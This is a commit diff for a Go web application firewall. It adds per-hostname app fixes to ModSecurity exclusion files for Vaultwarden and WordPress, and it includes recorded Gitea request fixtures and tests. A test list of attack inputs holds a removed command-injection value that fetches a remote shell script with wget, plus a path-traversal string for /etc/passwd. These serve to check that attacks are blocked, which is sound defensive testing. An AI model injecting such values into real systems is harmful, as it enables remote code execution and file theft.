name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
||||||
|
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
|
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
||||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||||
@@ -17,6 +17,14 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
|
||||||
|
# sets it while SWW_APPS is unset, or lists vaultwarden for the request's
|
||||||
|
# hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_vaultwarden itself.
|
||||||
|
SecRule &TX:app_vaultwarden "@eq 0" \
|
||||||
|
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
||||||
|
|
||||||
# Names and password hints, in JSON bodies, skip the four rules:
|
# Names and password hints, in JSON bodies, skip the four rules:
|
||||||
# name: signing up, editing the account's profile, and creating or renaming
|
# name: signing up, editing the account's profile, and creating or renaming
|
||||||
# an organization or a group, "python3 .htaccess team"
|
# an organization or a group, "python3 .htaccess team"
|
||||||
@@ -124,3 +132,5 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
|||||||
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||||
|
|
||||||
|
SecMarker END_VAULTWARDEN
|
||||||
@@ -9,6 +9,8 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -29,6 +31,23 @@ const (
|
|||||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||||
|
|
||||||
|
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// An address for the data breach report, which only Vaultwarden's fixes
|
||||||
|
// let through.
|
||||||
|
report := get(vaultwardenBreachReport + "python3%40example.com")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||||
// request that sends it, and its body, with VALUE where the field's value
|
// request that sends it, and its body, with VALUE where the field's value
|
||||||
// goes.
|
// goes.
|
||||||
@@ -294,7 +313,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
var vaultwardenAttacks = []string{
|
var vaultwardenAttacks = []string{
|
||||||
injection,
|
injection,
|
||||||
scriptTag,
|
scriptTag,
|
||||||
"; wget http://example.com/x.sh",
|
shellCommand,
|
||||||
"../../etc/passwd",
|
"../../etc/passwd",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,17 @@
|
|||||||
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists wordpress for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_wordpress itself.
|
||||||
|
SecRule &TX:app_wordpress "@eq 0" \
|
||||||
|
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
# /index.php/wp-json/wp/v2/posts/1
|
# /index.php/wp-json/wp/v2/posts/1
|
||||||
@@ -315,3 +322,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
|
SecMarker END_WORDPRESS
|
||||||
@@ -12,6 +12,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
|
||||||
@@ -21,6 +22,7 @@ const (
|
|||||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
|
apps = "SWW_APPS"
|
||||||
block = "block"
|
block = "block"
|
||||||
detect = "detect"
|
detect = "detect"
|
||||||
)
|
)
|
||||||
@@ -373,6 +375,32 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// Only gitea's fixes let a file name through in path, a parameter
|
||||||
|
// gitea sends file names in.
|
||||||
|
const fileName = "/?path=.gitignore"
|
||||||
|
|
||||||
|
s := startWAF(t, "", map[string]string{
|
||||||
|
wafMode: block, apps: siteA + ":gitea",
|
||||||
|
})
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
||||||
|
http.StatusOK, waf.DispositionAllow)
|
||||||
|
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
|
||||||
|
http.StatusForbidden, waf.DispositionDeny)
|
||||||
|
|
||||||
|
lines := s.out.requestLines(t, 2)
|
||||||
|
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
|
||||||
|
wantLine(
|
||||||
|
t,
|
||||||
|
lines[1],
|
||||||
|
http.StatusForbidden,
|
||||||
|
requestlog.ActionBlockedByCoreRuleSet,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -221,7 +221,8 @@ func newReputation(
|
|||||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
||||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
||||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
|
||||||
|
// or nil while SWW_WAF_MODE is off. It
|
||||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||||
@@ -237,6 +238,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
||||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||||
|
Apps: cfg.Apps,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||||
|
|||||||
Reference in new issue
Block a user